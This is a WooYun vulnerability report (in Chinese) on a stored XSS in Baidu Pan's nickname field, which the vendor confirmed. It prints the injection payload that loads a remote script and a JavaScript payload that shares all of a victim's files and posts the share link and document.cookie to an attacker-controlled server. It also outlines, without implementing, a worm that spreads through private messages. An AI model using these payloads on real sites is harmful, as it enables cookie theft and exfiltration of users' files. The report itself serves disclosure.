当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0113338

漏洞标题:百度盘某处xss可导致csrf获取用户cookie和云盘所有文件

相关厂商:百度

漏洞作者: zsrkmyn

提交时间:2015-05-11 11:09

修复时间:2015-06-25 11:32

公开时间:2015-06-25 11:32

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:16

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-11: 细节已通知厂商并且等待厂商处理中
2015-05-11: 厂商已经确认,细节仅向厂商公开
2015-05-21: 细节向核心白帽子及相关领域专家公开
2015-05-31: 细节向普通白帽子公开
2015-06-10: 细节向实习白帽子公开
2015-06-25: 细节向公众公开

简要描述:

嘛……标题有点吓人……其实很水的啦 >_<

详细说明:

0x00 序
关于这个漏洞的发现……说来也奇怪,很早很早很早之前留的测试点,一直没有找到可以触发的地方,今天给朋友分享东西时突然触发了……又花了好大功夫去找原来是在哪设置的 _(:з」∠)_
0x01 触发前的准备
首先百度盘有个功能叫设置昵称(果然又是这种地方)……

1.png


有长度限制……没事,打开调试器

2.png


发现设置昵称是个 get 请求。复制网址,直接浏览器打开:

http://pan.baidu.com/api/user/setinfo?nick_name=b&t=1431245842612&bdstoken=不告诉你token&channel=chunlei&clienttype=0&web=1&app_id=250528


把nick_name参数改了。改成如下内容(有 jQuery 就是好~):

<img src=1 onerror=$.getScript(&#39;http://t.cn/xxxx&#39;)>


嘛……其实这里费了一番周折,虽然绕过了前面网页上 10 个字符的限制,但还是有长度限制(不过限制字符数大了很多),所以构造了短网址;同时设置昵称之后还会把 ' 变成 \' ,多谢 @奎尼 菊苣指导,用了 &#39; 转义。

3.png


修改成功,返回 0 :

4.png


5.png


0x02 触发
之后就是触发了,触发有点麻烦,必须让对方加你为好友,然后点击‘分享’->‘发给好友’。所以降低了触发的几率。不过想到一种增加触发几率的方法,最后面讲。

6.png


获取到了用户的 cookie:

7.png


0x03 改进
获取到 cookie 之后,才听说百度似乎用了 HttpOnly(原谅我是小白),好像不能登录的样子。那就没有危害啦?所以我决心改进脚本!抱歉我真的是小白并不会 js ……

var files=$("div.item.global-clearfix[node-type='item']");
var fid_list=[];
for (var i=0; i<files.length; i++) {
fid_list[i] = files[i].attributes["data-id"].value;
}
var url = "/share/set?" + "&bdstoken=" + yunData.MYBDSTOKEN + "&channel=chunlei&clienttype=0&web=1&app_id=280528";
$.post(url,
{
fid_list: "[" + fid_list + "]",
schannel: 0,
channel_list: "[]",
},
function(d, s){
$.post("http://ooxx.xxoo:8080",
{
a: window.location.href,
t: document.cookie,
c: d['shorturl']
}
)
}
)


用了这个脚本之后,触发时会自动分享用户所有文件,并把创建的分享链接返回给我们的服务器。

8.png


嘛……老妈母亲节快乐啦~
最后一行,shorturl 就是返回的分享链接啦~
打开链接看看~

9.png


耶!成功啦~
0x04 后记和幻想 /* 其实是废话 */
其实这样触发要求成本太高啦~要让对方加你好友,还要分享文件给好友。所以其实我们可以提高触发几率,就是利用私信!
百度盘的这个位置可以发消息给好友:
http://pan.baidu.com/mbox/homepage#share/type=session
同时可以利用这个链接获取联系人列表:
http://pan.baidu.com/mbox/relation/getfollowlist?start=0&limit=20&t=1431276466801&bdstoken=我才不告诉你呢&channel=chunlei&clienttype=0&web=1&app_id=250528
那么既然我们可以执行任意脚本,当然可以利用脚本让第一个受害者通过发私信的方式,构造一条假消息(比如'添加xx为好友并给他分享一个文件可获取 0xFFFFFF TB 空间'……),使其好友也触发该漏洞,并不停的传播下去。这样可以增加漏洞触发几率。
不过考虑到危害略大(其实真实的原因是我太<del>善良</del>懒!),所以并没有去实现……
点到为止!以上两个测试用户均为本人账户,没有拐骗其他<del>良家妇女</del>小朋友,谢绝查水表。交给乌云君,然后睡觉!

漏洞证明:

以上。

修复方案:

小白不懂……限制昵称长度?好好过滤?

版权声明:转载请注明来源 zsrkmyn@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-05-11 11:31

厂商回复:

谢交已提

最新状态:

暂无